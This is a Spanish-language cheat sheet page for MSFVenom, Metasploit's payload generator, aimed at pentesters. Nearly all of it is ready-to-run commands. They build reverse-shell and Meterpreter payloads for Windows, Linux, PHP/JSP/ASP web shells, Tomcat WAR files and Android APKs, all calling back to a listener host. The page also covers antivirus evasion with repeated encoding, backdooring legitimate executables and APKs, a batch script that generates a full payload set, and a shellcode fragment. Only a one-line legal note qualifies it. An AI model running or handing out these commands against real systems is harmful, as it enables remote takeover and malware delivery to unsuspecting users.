Skip to content

MSFVenom - Generador de Payloads

MSFVenom es la herramienta de generación de payloads de Metasploit Framework que reemplazó a msfpayload y msfencode. Es la navaja suiza para crear payloads personalizados, shellcodes y ejecutables maliciosos para pentesting.

Terminal window
# Preinstalado en Kali
msfvenom --help
# Actualizar Metasploit
sudo apt update && sudo apt install metasploit-framework
Terminal window
# Instalar desde repositorios
sudo apt install metasploit-framework
# O instalar manualmente
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstall
Terminal window
msfvenom -p <payload> [opciones] -f <formato> [opciones_salida]
  • -p, --payload: Especifica el payload a usar
  • -f, --format: Formato de salida del payload
  • -e, --encoder: Encoder para evadir detección
  • -i, --iterations: Número de iteraciones de encoding
  • -o, --out: Archivo de salida
  • -b, --bad-chars: Caracteres a evitar
  • -x, --template: Ejecutable plantilla
  • -k, --keep: Mantener comportamiento original del template
Terminal window
# Meterpreter reverse TCP (staged)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o shell.exe
# Meterpreter reverse TCP (non-staged)
msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o shell.exe
# Shell reverse TCP
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o shell.exe
# PowerShell reverse
msfvenom -p windows/powershell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o ps_shell.exe
Terminal window
# Shell reverse TCP x86
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf -o shell
# Shell reverse TCP x64
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf -o shell64
# Meterpreter Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf -o meterpreter
Terminal window
# PHP web shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -o shell.php
# JSP web shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -o shell.jsp
# ASP web shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f asp -o shell.asp
Terminal window
# Windows executable
-f exe
# Linux executable
-f elf
# Mac executable
-f macho
Terminal window
# Python
-f python
# PowerShell
-f powershell
# Bash
-f bash
# C code
-f c
# JavaScript
-f js_le
Terminal window
# Raw shellcode
-f raw
# Hex string
-f hex
# Base64
-f base64
Terminal window
# Encoder básico
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -f exe -o encoded.exe
# Múltiples iteraciones
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o encoded.exe
# Listar encoders disponibles
msfvenom --list encoders
Terminal window
# Usar ejecutable legítimo como plantilla
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -x /path/to/legitimate.exe -f exe -o backdoored.exe
# Mantener funcionalidad original
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -x /path/to/legitimate.exe -k -f exe -o backdoored.exe
Terminal window
# Evitar caracteres específicos
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -b '\x00\x0a\x0d' -f python
msfvenom_generator.sh
#!/bin/bash
LHOST="192.168.1.100"
LPORT="4444"
OUTPUT_DIR="./payloads"
mkdir -p $OUTPUT_DIR
# Windows payloads
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe -o $OUTPUT_DIR/win_meterpreter.exe
msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe -o $OUTPUT_DIR/win_shell.exe
# Linux payloads
msfvenom -p linux/x86/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f elf -o $OUTPUT_DIR/linux_shell_x86
msfvenom -p linux/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f elf -o $OUTPUT_DIR/linux_shell_x64
# Web payloads
msfvenom -p php/meterpreter/reverse_tcp LHOST=$LHOST LPORT=$LPORT -f raw -o $OUTPUT_DIR/web_shell.php
echo "[+] Payloads generados en $OUTPUT_DIR"
Terminal window
# Payload para buffer overflow con bad chars
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -b '\x00\x0a\x0d\x20' -f python
# Resultado:
buf = b""
buf += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00"
# ... resto del shellcode
Terminal window
# PHP shell para upload de archivos
msfvenom -p php/reverse_php LHOST=192.168.1.100 LPORT=4444 -f raw
# WAR file para Tomcat
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f war -o shell.war
Terminal window
# APK malicioso
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -o malicious.apk
# Inyectar en APK existente
msfvenom -x original.apk -p android/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -o backdoored.apk
  1. Múltiples encoders: Usar varios encoders en secuencia
  2. Templates legítimos: Inyectar en ejecutables conocidos
  3. Formatos alternativos: Usar PowerShell, Python, etc.
  4. Payloads personalizados: Modificar shellcode manualmente
  1. Tamaño: Usar payloads staged para espacios limitados
  2. Compatibilidad: Verificar arquitectura del objetivo
  3. Persistencia: Combinar con técnicas de persistencia
  4. Cifrado: Usar payloads con cifrado integrado
Terminal window
# Error: No encoder specified
# Solución: Agregar -e encoder_name
# Error: Bad character found
# Solución: Usar -b para especificar bad chars
# Error: Template not compatible
# Solución: Verificar arquitectura del template
Terminal window
# Verificar payload generado
file payload.exe
strings payload.exe | grep -i "192.168"
# Probar en sandbox
# Usar máquinas virtuales para testing
  • Veil: Evasión avanzada de AV
  • TheFatRat: Generador con GUI
  • Empire: Framework post-explotación

Nota Legal: Usar únicamente en entornos autorizados para pentesting.